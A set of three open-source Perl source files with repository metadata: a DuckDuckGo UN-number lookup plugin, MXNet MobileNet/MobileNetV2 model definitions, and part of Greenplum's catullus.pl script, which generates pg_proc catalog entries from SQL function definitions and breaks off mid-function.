package DDG::Goodie::UN; # ABSTRACT: Gives a description for a given UN number use strict; use DDG::Goodie; use Number::UN 'get_un'; attribution github => ['tantalor', 'John Tantalo'], github => ['https://github.com/ozdemirburak', 'Burak Özdemir']; primary_example_queries 'UN Number 0009'; description 'gives a description for a given UN number'; name 'UN Number'; code_url 'https://github.com/duckduckgo/zeroclickinfo-goodies/blob/master/lib/DDG/Goodie/UN.pm'; category 'facts'; topics 'everyday'; use constant WPHREF => "https://en.wikipedia.org/wiki/List_of_UN_numbers_%04d_to_%04d"; triggers start => 'un'; zci is_cached => 1; zci answer_type => 'united_nations'; handle remainder => sub { my $num = shift or return; $num =~ s/^number\s+//gi; return unless $num =~ /^\d+$/; my %un = get_un($num) or return; $un{description} =~ s/\.$//; return $un{description}, structured_answer => { id => 'un', name => 'UN Number', data => { title => "UN Number: " . $un{number}, description => $un{description} }, meta => { sourceName => "Wikipedia", sourceUrl => wphref($num) }, templates => { group => 'info', options => { moreAt => 1 } } }; }; # Wikipedia attribution per CC-BY-SA sub wphref { my $num = shift; my $lower = int($num / 100) * 100 + 1; my $upper = $lower + 99; return sprintf WPHREF, $lower, $upper; } 1;
jophab/zeroclickinfo-goodies
lib/DDG/Goodie/UN.pm
Perl
apache-2.0
1,533
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. use strict; use warnings; use AI::MXNet::Function::Parameters; package AI::MXNet::Gluon::ModelZoo::Vision::MobileNet::RELU6; use AI::MXNet::Gluon::Mouse; extends 'AI::MXNet::Gluon::HybridBlock'; method hybrid_forward(GluonClass $F, GluonInput $x) { return $F->clip($x, a_min => 0, a_max => 6, name=>"relu6"); } package AI::MXNet::Gluon::ModelZoo::Vision::MobileNet::LinearBottleneck; use AI::MXNet::Gluon::Mouse; extends 'AI::MXNet::Gluon::HybridBlock'; has [qw/in_channels channels t stride/] => (is => 'ro', isa => 'Int', required => 1); method python_constructor_arguments(){ [qw/in_channels channels t stride/] } =head1 NAME AI::MXNet::Gluon::ModelZoo::Vision::MobileNet::LinearBottleneck - LinearBottleneck used in MobileNetV2 model =cut =head1 DESCRIPTION LinearBottleneck used in MobileNetV2 model from the "Inverted Residuals and Linear Bottlenecks: Mobile Networks for Classification, Detection and Segmentation" <https://arxiv.org/abs/1801.04381> paper. Parameters ---------- in_channels : Int Number of input channels. channels : Int Number of output channels. t : Int Layer expansion ratio. stride : Int stride =cut func _add_conv( $out, $channels, :$kernel=1, :$stride=1, :$pad=0, :$num_group=1, :$active=1, :$relu6=0 ) { $out->add(nn->Conv2D($channels, $kernel, $stride, $pad, groups=>$num_group, use_bias=>0)); $out->add(nn->BatchNorm(scale=>1)); if($active) { $out->add($relu6 ? AI::MXNet::Gluon::ModelZoo::Vision::MobileNet::RELU6->new : nn->Activation('relu')); } } sub BUILD { my $self = shift; $self->use_shortcut($self->stride == 1 and $self->in_channels == $self->channels); $self->name_scope(sub { $self->out(nn->HybridSequential()); _add_conv($self->out, $self->in_channels * $self->t, relu6=>1); _add_conv( $self->out, $self->in_channels * $self->t, kernel=>3, stride=>$self->stride, pad=>1, num_group=>$self->in_channels * $self->t, relu6=>1 ); _add_conv($self->out, $self->channels, active=>0, relu6=>1); }); } method hybrid_forward($F, $x) { my $out = $self->out->($x); if($self->use_shortcut) { $out = $F->elemwise_add($out, $x); } return $out; } package AI::MXNet::Gluon::ModelZoo::Vision::MobileNet; use AI::MXNet::Gluon::Mouse; use AI::MXNet::Base; extends 'AI::MXNet::Gluon::HybridBlock'; has 'multiplier' => (is => 'ro', isa => 'Num', default => 1); has 'classes' => (is => 'ro', isa => 'Int', default => 1000); method python_constructor_arguments(){ [qw/multiplier classes/] } =head1 NAME AI::MXNet::Gluon::ModelZoo::Vision::MobileNet - MobileNet model from the "MobileNets: Efficient Convolutional Neural Networks for Mobile Vision Applications" =cut =head1 DESCRIPTION MobileNet model from the "MobileNets: Efficient Convolutional Neural Networks for Mobile Vision Applications" <https://arxiv.org/abs/1704.04861> paper. Parameters ---------- multiplier : Num, default 1.0 The width multiplier for controling the model size. Only multipliers that are no less than 0.25 are supported. The actual number of channels is equal to the original channel size multiplied by this multiplier. classes : Int, default 1000 Number of classes for the output layer. =cut func _add_conv( $out, :$channels=1, :$kernel=1, :$stride=1, :$pad=0, :$num_group=1, :$active=1, :$relu6=0 ) { $out->add(nn->Conv2D($channels, $kernel, $stride, $pad, groups=>$num_group, use_bias=>0)); $out->add(nn->BatchNorm(scale=>1)); if($active) { $out->add($relu6 ? AI::MXNet::Gluon::ModelZoo::Vision::MobileNet::RELU6->new : nn->Activation('relu')); } } func _add_conv_dw($out, :$dw_channels=, :$channels=, :$stride=, :$relu6=0) { _add_conv($out, channels=>$dw_channels, kernel=>3, stride=>$stride, pad=>1, num_group=>$dw_channels, relu6=>$relu6); _add_conv($out, channels=>$channels, relu6=>$relu6); } sub BUILD { my $self = shift; $self->name_scope(sub { $self->features(nn->HybridSequential(prefix=>'')); $self->features->name_scope(sub { _add_conv($self->features, channels=>int(32 * $self->multiplier), kernel=>3, pad=>1, stride=>2); my $dw_channels = [map { int($_ * $self->multiplier) } (32, 64, (128)x2, (256)x2, (512)x6, 1024)]; my $channels = [map { int($_ * $self->multiplier) } (64, (128)x2, (256)x2, (512)x6, (1024)x2)]; my $strides = [(1, 2)x3, (1)x5, 2, 1]; for(zip($dw_channels, $channels, $strides)) { my ($dwc, $c, $s) = @$_; _add_conv_dw($self->features, dw_channels=>$dwc, channels=>$c, stride=>$s); } $self->features->add(nn->GlobalAvgPool2D()); $self->features->add(nn->Flatten()); }); $self->output(nn->Dense($self->classes)); }); } method hybrid_forward(GluonClass $F, GluonInput $x) { $x = $self->features->($x); $x = $self->output->($x); return $x; } package AI::MXNet::Gluon::ModelZoo::Vision::MobileNetV2; use AI::MXNet::Gluon::Mouse; use AI::MXNet::Base; extends 'AI::MXNet::Gluon::HybridBlock'; has 'multiplier' => (is => 'ro', isa => 'Num', default => 1); has 'classes' => (is => 'ro', isa => 'Int', default => 1000); method python_constructor_arguments(){ [qw/multiplier classes/] } =head1 NAME AI::MXNet::Gluon::ModelZoo::Vision::MobileNetV2 - MobileNet model from the "Inverted Residuals and Linear Bottlenecks: Mobile Networks for Classification, Detection and Segmentation" =cut =head1 DESCRIPTION MobileNetV2 model from the "Inverted Residuals and Linear Bottlenecks: Mobile Networks for Classification, Detection and Segmentation" <https://arxiv.org/abs/1801.04381> paper. Parameters ---------- multiplier : Num, default 1.0 The width multiplier for controling the model size. Only multipliers that are no less than 0.25 are supported. The actual number of channels is equal to the original channel size multiplied by this multiplier. classes : Int, default 1000 Number of classes for the output layer. =cut func _add_conv( $out, $channels, :$kernel=1, :$stride=1, :$pad=0, :$num_group=1, :$active=1, :$relu6=0 ) { $out->add(nn->Conv2D($channels, $kernel, $stride, $pad, groups=>$num_group, use_bias=>0)); $out->add(nn->BatchNorm(scale=>1)); if($active) { $out->add($relu6 ? AI::MXNet::Gluon::ModelZoo::Vision::MobileNet::RELU6->new : nn->Activation('relu')); } } sub BUILD { my $self = shift; $self->name_scope(sub { $self->features(nn->HybridSequential(prefix=>'features_')); $self->features->name_scope(sub { _add_conv( $self->features, int(32 * $self->multiplier), kernel=>3, stride=>2, pad=>1, relu6=>1 ); my $in_channels_group = [map { int($_ * $self->multiplier) } (32, 16, (24)x2, (32)x3, (64)x4, (96)x3, (160)x3)]; my $channels_group = [map { int($_ * $self->multiplier) } (16, (24)x2, (32)x3, (64)x4, (96)x3, (160)x3, 320)]; my $ts = [1, (6)x16]; my $strides = [(1, 2)x2, 1, 1, 2, (1)x6, 2, (1)x3]; for(zip($in_channels_group, $channels_group, $ts, $strides)) { my ($in_c, $c, $t, $s) = @$_; $self->features->add( AI::MXNet::Gluon::ModelZoo::Vision::MobileNet::LinearBottleneck->new( in_channels=>$in_c, channels=>$c, t=>$t, stride=>$s ) ); } my $last_channels = $self->multiplier > 1 ? int(1280 * $self->multiplier) : 1280; _add_conv($self->features, $last_channels, relu6=>1); $self->features->add(nn->GlobalAvgPool2D()); }); $self->output(nn->HybridSequential(prefix=>'output_')); $self->output->name_scope(sub { $self->output->add( nn->Conv2D($self->classes, 1, use_bias=>0, prefix=>'pred_'), nn->Flatten() ); }); }); } method hybrid_forward(GluonClass $F, GluonInput $x) { $x = $self->features->($x); $x = $self->output->($x); return $x; } package AI::MXNet::Gluon::ModelZoo::Vision; =head2 get_mobilenet MobileNet model from the "MobileNets: Efficient Convolutional Neural Networks for Mobile Vision Applications" <https://arxiv.org/abs/1704.04861> paper. Parameters ---------- $multiplier : Num The width multiplier for controling the model size. Only multipliers that are no less than 0.25 are supported. The actual number of channels is equal to the original channel size multiplied by this multiplier. :$pretrained : Bool, default 0 Whether to load the pretrained weights for model. :$ctx : AI::MXNet::Context, default CPU The context in which to load the pretrained weights. :$root : Str, default '~/.mxnet/models' Location for keeping the model parameters. =cut method get_mobilenet( Num $multiplier, Bool :$pretrained=0, AI::MXNet::Context :$ctx=AI::MXNet::Context->cpu(), Str :$root='~/.mxnet/models' ) { my $net = AI::MXNet::Gluon::ModelZoo::Vision::MobileNet->new($multiplier); if($pretrained) { my $version_suffix = sprintf("%.2f", $multiplier); if($version_suffix eq '1.00' or $version_suffix eq '0.50') { $version_suffix =~ s/.$//; } $net->load_parameters( AI::MXNet::Gluon::ModelZoo::ModelStore->get_model_file( "mobilenet$version_suffix", root=>$root ), ctx=>$ctx ); } return $net; } =head2 get_mobilenet_v2 MobileNetV2 model from the "Inverted Residuals and Linear Bottlenecks: Mobile Networks for Classification, Detection and Segmentation" <https://arxiv.org/abs/1801.04381> paper. Parameters ---------- $multiplier : Num The width multiplier for controling the model size. Only multipliers that are no less than 0.25 are supported. The actual number of channels is equal to the original channel size multiplied by this multiplier. :$pretrained : Bool, default 0 Whether to load the pretrained weights for model. :$ctx : AI::MXNet::Context, default CPU The context in which to load the pretrained weights. :$root : Str, default '~/.mxnet/models' Location for keeping the model parameters. =cut method get_mobilenet_v2( Num $multiplier, Bool :$pretrained=0, AI::MXNet::Context :$ctx=AI::MXNet::Context->cpu(), Str :$root='~/.mxnet/models' ) { my $net = AI::MXNet::Gluon::ModelZoo::Vision::MobileNetV2->new($multiplier); if($pretrained) { my $version_suffix = sprintf("%.2f", $multiplier); if($version_suffix eq '1.00' or $version_suffix eq '0.50') { $version_suffix =~ s/.$//; } $net->load_parameters( AI::MXNet::Gluon::ModelZoo::ModelStore->get_model_file( "mobilenetv2_$version_suffix", root=>$root ), ctx=>$ctx ); } return $net; } =head2 mobilenet1_0 MobileNet model from the "MobileNets: Efficient Convolutional Neural Networks for Mobile Vision Applications" <https://arxiv.org/abs/1704.04861> paper, with width multiplier 1.0. Parameters ---------- :$pretrained : Bool, default 0 Whether to load the pretrained weights for model. :$ctx : AI::MXNet::Context, default CPU The context in which to load the pretrained weights. =cut method mobilenet1_0(%kwargs) { return __PACKAGE__->get_mobilenet(1.0, %kwargs); } =head2 mobilenet_v2_1_0 MobileNetV2 model from the "Inverted Residuals and Linear Bottlenecks: Mobile Networks for Classification, Detection and Segmentation" <https://arxiv.org/abs/1801.04381> paper. Parameters ---------- :$pretrained : Bool, default 0 Whether to load the pretrained weights for model. :$ctx : AI::MXNet::Context, default CPU The context in which to load the pretrained weights. =cut method mobilenet_v2_1_0(%kwargs) { return __PACKAGE__->get_mobilenet_v2(1.0, %kwargs); } =head2 mobilenet0_75 MobileNet model from the "MobileNets: Efficient Convolutional Neural Networks for Mobile Vision Applications" <https://arxiv.org/abs/1704.04861> paper, with width multiplier 0.75. Parameters ---------- :$pretrained : Bool, default 0 Whether to load the pretrained weights for model. :$ctx : AI::MXNet::Context, default CPU The context in which to load the pretrained weights. =cut method mobilenet0_75(%kwargs) { return __PACKAGE__->get_mobilenet(0.75, %kwargs); } =head2 mobilenet_v2_0_75 MobileNetV2 model from the "Inverted Residuals and Linear Bottlenecks: Mobile Networks for Classification, Detection and Segmentation" <https://arxiv.org/abs/1801.04381> paper. Parameters ---------- :$pretrained : Bool, default 0 Whether to load the pretrained weights for model. :$ctx : AI::MXNet::Context, default CPU The context in which to load the pretrained weights. =cut method mobilenet_v2_0_75(%kwargs) { return __PACKAGE__->get_mobilenet_v2(0.75, %kwargs); } =head2 mobilenet0_5 MobileNet model from the "MobileNets: Efficient Convolutional Neural Networks for Mobile Vision Applications" <https://arxiv.org/abs/1704.04861> paper, with width multiplier 0.5. Parameters ---------- :$pretrained : Bool, default 0 Whether to load the pretrained weights for model. :$ctx : AI::MXNet::Context, default CPU The context in which to load the pretrained weights. =cut method mobilenet0_5(%kwargs) { return __PACKAGE__->get_mobilenet(0.5, %kwargs); } =head2 mobilenet_v2_0_5 MobileNetV2 model from the "Inverted Residuals and Linear Bottlenecks: Mobile Networks for Classification, Detection and Segmentation" <https://arxiv.org/abs/1801.04381> paper. Parameters ---------- :$pretrained : Bool, default 0 Whether to load the pretrained weights for model. :$ctx : AI::MXNet::Context, default CPU The context in which to load the pretrained weights. =cut method mobilenet_v2_0_5(%kwargs) { return __PACKAGE__->get_mobilenet_v2(0.5, %kwargs); } =head2 mobilenet0_25 MobileNet model from the "MobileNets: Efficient Convolutional Neural Networks for Mobile Vision Applications" <https://arxiv.org/abs/1704.04861> paper, with width multiplier 0.25. Parameters ---------- :$pretrained : Bool, default 0 Whether to load the pretrained weights for model. :$ctx : AI::MXNet::Context, default CPU The context in which to load the pretrained weights. =cut method mobilenet0_25(%kwargs) { return __PACKAGE__->get_mobilenet(0.25, %kwargs); } =head2 mobilenet_v2_0_25 MobileNetV2 model from the "Inverted Residuals and Linear Bottlenecks: Mobile Networks for Classification, Detection and Segmentation" <https://arxiv.org/abs/1801.04381> paper. Parameters ---------- :$pretrained : Bool, default 0 Whether to load the pretrained weights for model. :$ctx : AI::MXNet::Context, default CPU The context in which to load the pretrained weights. =cut method mobilenet_v2_0_25(%kwargs) { return __PACKAGE__->get_mobilenet_v2(0.25, %kwargs); } 1;
dmlc/mxnet
perl-package/AI-MXNet-Gluon-ModelZoo/lib/AI/MXNet/Gluon/ModelZoo/Vision/MobileNet.pm
Perl
apache-2.0
16,580
#!/usr/bin/perl # # copyright (c) 2011 # Author: Jeffrey I Cohen use POSIX; use Pod::Usage; use Getopt::Long; use Data::Dumper; use strict; use warnings; # SLZY_POD_HDR_BEGIN # WARNING: DO NOT MODIFY THE FOLLOWING POD DOCUMENT: # Generated by sleazy.pl version 4 (release Fri Jul 8 15:26:54 2011) # Make any changes under SLZY_TOP_BEGIN/SLZY_LONG_BEGIN =head1 NAME B<catullus.pl> - generate pg_proc entries =head1 VERSION This document describes version 8 of catullus.pl, released Mon Oct 3 12:58:12 2011. =head1 SYNOPSIS B<catullus.pl> Options: -help brief help message -man full documentation -procdef sql definitions for pg_proc functions -prochdr header file to modify (procedures) =head1 OPTIONS =over 8 =item B<-help> Print a brief help message and exits. =item B<-man> Prints the manual page and exits. =item B<-procdef> <filename> (Required) sql definitions for pg_proc functions (normally pg_proc.sql) =item B<-prochdr> <filename> (Required) header file to modify (normally pg_proc_gp.h). The original file is copied to a .backup copy. =back =head1 DESCRIPTION catullus.pl converts annotated sql CREATE FUNCTION statements into pg_proc entries and updates pg_proc_gp.h. The pg_proc definitions are stored in pg_proc.sql. catullus reads these definitions and, using type information from pg_type.sql, generates DATA statements for loading the pg_proc table. In pg_proc_gp.h, it looks for a block of code delimited by the tokens TIDYCAT_BEGIN_PG_PROC_GEN and TIDYCAT_END_PG_PROC_GEN and substitutes the new generated code for the previous contents. =head1 CAVEATS/FUTURE WORK The aggregate transition functions are constructed from CREATE FUNCTION statements. But we should really use CREATE AGGREGATE statements to generate the DATA statements for pg_aggregate and the pg_proc entries. A similar limitation exists for window functions in pg_window. And operators and operator classes? Access methods? Casts? =head1 AUTHORS Jeffrey I Cohen Copyright (c) 2011 Greenplum. All rights reserved. Address bug reports and comments to: bugs@greenplum.org =cut # SLZY_POD_HDR_END my $glob_id = ""; my %glob_typeoidh; # hash type names to oid # SLZY_GLOB_BEGIN my $glob_glob; # SLZY_GLOB_END sub glob_validate { # XXX XXX: special case these for now... $glob_typeoidh{"gp_persistent_relation_node"} = 6990; $glob_typeoidh{"gp_persistent_database_node"} = 6991; $glob_typeoidh{"gp_persistent_tablespace_node"} = 6992; $glob_typeoidh{"gp_persistent_filespace_node"} = 6993; return 1; } # SLZY_CMDLINE_BEGIN # WARNING: DO NOT MODIFY THE FOLLOWING SECTION: # Generated by sleazy.pl version 4 (release Fri Jul 8 15:26:54 2011) # Make any changes under SLZY_TOP_BEGIN/SLZY_LONG_BEGIN # Any additional validation logic belongs in glob_validate() BEGIN { my $s_help = 0; # brief help message my $s_man = 0; # full documentation my $s_procdef; # sql definitions for pg_proc functions my $s_prochdr; # header file to modify (procedures) GetOptions( 'help|?' => \$s_help, 'man' => \$s_man, 'procdef|prosource|procsource|prosrc|procsrc=s' => \$s_procdef, 'prochdr|proheader|procheader|prohdr=s' => \$s_prochdr, ) or pod2usage(2); pod2usage(-msg => $glob_id, -exitstatus => 1) if $s_help; pod2usage(-msg => $glob_id, -exitstatus => 0, -verbose => 2) if $s_man; $glob_glob = {}; # version and properties from json definition $glob_glob->{_sleazy_properties} = {}; $glob_glob->{_sleazy_properties}->{version} = '8'; $glob_glob->{_sleazy_properties}->{slzy_date} = '1317671892'; die ("missing required argument for 'procdef'") unless (defined($s_procdef)); die ("invalid argument for 'procdef': file $s_procdef does not exist") unless (defined($s_procdef) && (-e $s_procdef)); die ("missing required argument for 'prochdr'") unless (defined($s_prochdr)); die ("invalid argument for 'prochdr': file $s_prochdr does not exist") unless (defined($s_prochdr) && (-e $s_prochdr)); $glob_glob->{procdef} = $s_procdef if (defined($s_procdef)); $glob_glob->{prochdr} = $s_prochdr if (defined($s_prochdr)); glob_validate(); } # SLZY_CMDLINE_END sub doformat { my ($bigstr, $kv) = @_; my %blankprefix; # find format expressions with leading blanks if ($bigstr =~ m/\n/) { my @foo = split(/\n/, $bigstr); for my $lin (@foo) { next unless ($lin =~ m/^\s+\{.*\}/); # find the first format expression after the blank prefix my @baz = split(/\}/, $lin, 2); my $firstf = shift @baz; my @zzz = ($firstf =~ m/^(\s+)\{(.*)$/); next unless (defined($zzz[1]) && length($zzz[1])); my $k2 = quotemeta($zzz[1]); die "duplicate use of prefixed pattern $k2" if (exists($blankprefix{$k2})); # store the prefix $blankprefix{$k2} = $zzz[0]; } } # print Data::Dumper->Dump([%blankprefix]); while (my ($kk, $vv) = each(%{$kv})) { my $subi = '{' . quotemeta($kk) . '}'; my $v2 = $vv; if (exists($blankprefix{quotemeta($kk)}) && ($v2 =~ m/\n/)) { my @foo = split(/\n/, $v2); # for a multiline substitution, prefix every line with the # offset of the original token $v2 = join("\n" . $blankprefix{quotemeta($kk)}, @foo); # fixup trailing newline if necessary if ($vv =~ m/\n$/) { $v2 .= "\n" unless ($v2 =~ m/\n$/); } } $bigstr =~ s/$subi/$v2/gm; } return $bigstr; } # get oid for type from local cache sub get_typeoid { my $tname = shift; # check the type/oid cache return $glob_typeoidh{$tname} if (exists($glob_typeoidh{$tname})); die "cannot find type: $tname"; return undef; } # get_typeoid sub get_fntype { my $funcdef = shift; my @foo = split(/\s+/, $funcdef); my $tdef = ""; # get [SETOF] typname for my $ff (@foo) { if ($ff =~ m/^(setof)$/i) { $tdef .= $ff . " "; next; } if ($ff =~ m/^(\[.*\])$/i) { $tdef .= $ff; next; } $tdef .= $ff; last; } # get array bounds or ARRAY array bounds for my $ff (@foo) { if ($ff =~ m/^(ARRAY)$/i) { $tdef .= " " . $ff . " "; next; } if ($ff =~ m/^(\[.*\])$/i) { $tdef .= $ff; last; } last; } return $tdef; } # end get_fntype sub get_fnoptlist { my $funcdef = shift; my @optlist; my $rex = 'called\s+on\s+null\s+input|'. 'returns\s+null\s+on\s+null\s+input|strict|immutable|stable|volatile|'. 'external\s+security\s+definer|external\s+security\s+invoker|' . 'security\s+definer|security\s+invoker|' . 'cost\s+(\d+)|' . 'rows\s+(\d+)|' . 'no\s+sql|contains\s+sql|reads\s+sql\s+data|modifies\s+sql\s+data|' . 'language\s+\S+|' . 'as\s+\\\'\S+\\\'(?:\s*,\s*\\\'\S+\\\')*'; # print "$rex\n"; # my @foo = ($funcdef =~ m/((?:\s*$rex\s*))*/i); my @foo = ($funcdef =~ m/($rex)/i); while (scalar(@foo)) { my $opt = $foo[0]; push @optlist, $opt; my $o2 = quotemeta($opt); $funcdef =~ s/$o2//; @foo = ($funcdef =~ m/($rex)/i); } return \@optlist; } # end get_fnoptlist sub make_opt { my $fndef = shift; # values from pg_language my $plh = { internal => 12, c => 13, sql => 14, plpgsql => 10886 }; my $proname = $fndef->{name}; my $prolang; my $procost; my $prorows; my $provolatile; my $proisstrict = 0; my $prosecdef = 0; my $prodataaccess; my $prosrc; my $func_as; my $tdef; # remove double quotes $proname =~ s/^\"//; $proname =~ s/\"$//; if (exists($fndef->{optlist})) { for my $opt (@{$fndef->{optlist}}) { if ($opt =~ m/^(immutable|stable|volatile)/i) { die ("conflicting or redundant options: $opt") if (defined($provolatile)); # provolatile is first char of option ([i]mmmutble, [s]table, # [v]olatile). $provolatile = lc(substr($opt, 0, 1)); } if ($opt =~ m/^language\s+(internal|c|sql|plpgsql)$/i) { die ("conflicting or redundant options: $opt") if (defined($prolang)); my $l1 = lc($opt); $l1 =~ s/^language\s+//; $prolang = $plh->{$l1}; } if ($opt =~ m/^(no\s+sql|contains\s+sql|reads\s+sql\s+data|modifies\s+sql\s+data)/i) { die ("conflicting or redundant options: $opt") if (defined($prodataaccess)); # prodataaccess is first char of option ([n]o sql, [c]ontains sql, # [r]eads sql data, [m]odifies sql data). $prodataaccess = lc(substr($opt, 0, 1)); } if ($opt =~ m/^AS\s+\'.*\'$/) { die ("conflicting or redundant options: $opt") if (defined($func_as)); # NOTE: we preprocessed dollar-quoted ($$) AS options # to single-quoted strings. Will fix the string value # later. my @foo = ($opt =~ m/^AS\s+\'(.*)\'$/); die "bad func AS: $opt" unless (scalar(@foo)); $func_as = shift @foo; } if ($opt =~ m/^cost\s+(\d+)$/i) { die ("conflicting or redundant options: $opt") if (defined($procost)); $procost = $1; } if ($opt =~ m/^rows\s+(\d+)$/i) { die ("conflicting or redundant options: $opt") if (defined($prorows)); $prorows = $1; } $proisstrict = 1 if ($opt =~ m/^(strict|returns\s+null\s+on\s+null\s+input)$/i); $proisstrict = 0 if ($opt =~ m/^(called\s+on\s+null\s+input)$/i); $prosecdef = 1 if ($opt =~ m/security definer/i); $prosecdef = 0 if ($opt =~ m/security invoker/i); } # end for $tdef = { proname => $proname, # pronamespace => 11, # pg_catalog # proowner => 10, # admin pronamespace => "PGNSP", # pg_catalog proowner => "PGUID", # admin prolang => $prolang, procost => $procost, prorows => $prorows, provariadic => 0, proisagg => 0, prosecdef => $prosecdef, proisstrict => $proisstrict, # proretset provolatile => $provolatile, # pronargs # prorettype proiswin => 0, # proargtypes # proallargtypes # proargmodes # proargnames prodataaccess => $prodataaccess }; if (defined($func_as) && defined($prolang)) { if (12 == $prolang) # internal { $tdef->{prosrc} = $func_as; } elsif (13 == $prolang) # C { die ("bad C function def $func_as") unless ($func_as =~ m/\,/); $func_as =~ s/\'//g; my @foo = split(/\s*\,\s*/, $func_as); $tdef->{prosrc} = $foo[1]; $tdef->{probin} = $foo[0]; } elsif (14 == $prolang) # sql { $func_as =~ s/^\s*\'//; $func_as =~ s/\'\s*$//; # NOTE: here is the fixup for the AS option -- # retrieve the quoted string. # [ unquurl ] $func_as =~ s/\%([A-Fa-f0-9]{2})/pack('C', hex($1))/seg; $tdef->{prosrc} = $func_as; } else { die ("bad lang: $prolang"); } } if (!defined($prodataaccess)) { if (14 == $prolang) # SQL { $prodataaccess = 'c'; } else { $prodataaccess = 'n'; } $tdef->{prodataaccess} = $prodataaccess; } # check for conflicting prodataaccess options if (14 == $prolang && ('n' eq $prodataaccess)) { die ("conflicting options: A SQL function cannot specify NO SQL"); } if (defined($provolatile) && ('i' eq $provolatile)) { if ('r' eq $prodataaccess) { die ("conflicting options: IMMUTABLE conflicts with READS SQL DATA"); } if ('m' eq $prodataaccess) { die ("conflicting options: IMMUTABLE conflicts with MODIFIES SQL DATA"); } } } # end if exists $fndef->{tuple} = $tdef if (defined($tdef)); } # end make_opt sub make_rettype { my $fndef = shift; if (exists($fndef->{returntype})) { my $rt = $fndef->{returntype}; # check if SETOF returntype $fndef->{tuple}->{proretset} = ($rt =~ m/^setof/i); # remove SETOF $rt =~ s/^setof\s*//i; # remove "pg_catalog." prefix $rt =~ s/^pg\_catalog\.//i; # quotes $rt =~ s/\"//g; my $rtoid = get_typeoid($rt); $fndef->{tuple}->{prorettype} = $rtoid if (defined($rtoid)); } } # end make_rettype sub make_allargs { my $fndef = shift; my $fnname = $fndef->{name}; return undef unless (exists($fndef->{rawargs}) && length($fndef->{rawargs})); my $argstr = $fndef->{rawargs}; return undef unless (length($argstr) && ($argstr !~ m/^\s*$/)); my @foo; # A function takes multiple "func_args" (parameters), # separated by commas. Each func_arg must have a type, # and it optionally has a name (for languages that # support named parameters) and/or an "arg_class" (which # is IN, OUT, INOUT or "IN OUT"). The func_arg tokens are # separated by spaces, and the ordering and combinations # are a bit too flexible for comfort. So we only support # declarations in the order arg_class, param_name, func_type. if ($argstr =~ m/\,/) { @foo = split(/\s*\,\s*/, $argstr); } else { push @foo, $argstr; } # oids, type, class, name my @argoids; my @argtype; my @argclass; my @argname; my $nargs = 0; for my $func_arg (@foo) { # no spaces, so arg_type only if ($func_arg !~ /\S+\s+\S+/) { my $arg1 = $func_arg; $arg1 =~ s/\"//g; $arg1 =~ s/^\s+//; $arg1 =~ s/\s+$//g; push @argtype, $arg1; } else # split func_arg { if ($func_arg =~ m/^in\s+out\s+/i) { # NOTE: we want to split by spaces, # so convert "in out" to "inout" $func_arg =~ s/^in\s+out\s+/inout /i; } my @baz = split(/\s+/, $func_arg); if (3 == scalar(@baz)) { die "$fnname: arg str badly formed: $argstr" unless ($baz[0] =~ m/^(in|out|inout|in\s+out)$/i); my $aclass = shift @baz; if ($aclass =~ m/^(in|out)$/i) { # use first char as argclass $argclass[$nargs] = lc(substr($aclass, 0, 1)); } else { $argclass[$nargs] = "b"; # [b]oth } # drop thru to handle two remaining args # (and don't allow multiple IN/OUT for same func_arg) die "$fnname: arg str badly formed: $argstr" if ($baz[0] =~ m/^(in|out|inout|in\s+out)$/i); } die "$fnname: arg str badly formed: $argstr" unless (2 == scalar(@baz)); # last token is always a type my $arg1 = pop(@baz); $arg1 =~ s/\"//g; $arg1 =~ s/^\s+//; $arg1 =~ s/\s+$//g; push @argtype, $arg1; # remaining token is an arg_class or name if ($baz[0] =~ m/^(in|out|inout|in\s+out)$/i) { my $aclass = shift @baz; if ($aclass =~ m/^(in|out)$/i) { $argclass[$nargs] = lc(substr($aclass, 0, 1)); } else # both { $argclass[$nargs] = "b"; } } else # not a class, so it's a name { my $arg2 = pop(@baz); $arg2 =~ s/\"//g; $arg2 =~ s/^\s+//; $arg2 =~ s/\s+$//g; $argname[$nargs] = $arg2; } } # end split func_arg $nargs++; } # end for my func_arg for my $ftyp (@argtype) { push @argoids, get_typeoid($ftyp); } # check list of names if (scalar(@argname)) { # fill in blank names if necessary for my $ii (0..($nargs-1)) { $argname[$ii] = "" unless (defined($argname[$ii]) && length($argname[$ii])); } $fndef->{tuple}->{proargnames} = "{" . join(",", @argname) . "}"; } my @iargs; # count the input args # check list of arg class if (scalar(@argclass)) { # if no class specified, use "IN" for my $ii (0..($nargs-1)) { $argclass[$ii] = "i" unless (defined($argclass[$ii]) && length($argclass[$ii])); # distinguish input args from output push @iargs, $argoids[$ii] if ($argclass[$ii] !~ m/o/i); } $fndef->{tuple}->{proargmodes} = "{" . join(",", @argclass) . "}"; } # sigh. stupid difference between representation for oidvector and # oid array. This is an oid array for proallargtypes. # Oidvector uses spaces, not commas. my $oidstr = "{" . join(",", @argoids) . "}"; # number of args is input args if have arg_class, else just count $fndef->{tuple}->{pronargs} = scalar(@argclass) ? scalar(@iargs) : $nargs; if (scalar(@argclass)) { # distinguish input args from all args $fndef->{tuple}->{proallargtypes} = $oidstr; $fndef->{tuple}->{proargtypes} = join(" ", @iargs); # handle case of no input args (pg_get_keywords) $fndef->{tuple}->{proargtypes} = "" unless (defined($fndef->{tuple}->{proargtypes}) && length($fndef->{tuple}->{proargtypes})); } else # no input args (or all input args...) { $fndef->{tuple}->{proargtypes} = join(" ", @argoids); } return $oidstr; } # end make_allargs # parse the WITH clause sub get_fnwithhash { my $funcdef = shift; my %withh; use Text::ParseWords; if ($funcdef =~ m/with\s*\(.*\)/i) { my @baz = ($funcdef =~ m/(with\s*\(.*\))/is); die "bad WITH: $funcdef" unless (scalar(@baz)); my $withclause = shift @baz; $withclause =~ s/^\s*with\s*\(\s*//is; $withclause =~ s/\s*\)\s*$//s; # split by comma, but use Text::ParseWords::parse_line to # preserve quoted descriptions @baz = parse_line(",", 1, $withclause); for my $withdef (@baz) { my @bzz = split("=", $withdef, 2); die "bad WITH def: $withdef" unless (2 == scalar(@bzz)); my $kk = shift @bzz; my $vv = shift @bzz; $kk =~ s/^\s+//; $kk =~ s/\s+$//; $kk = lc($kk); $vv =~ s/^\s+//; $vv =~ s/\s+$//; if 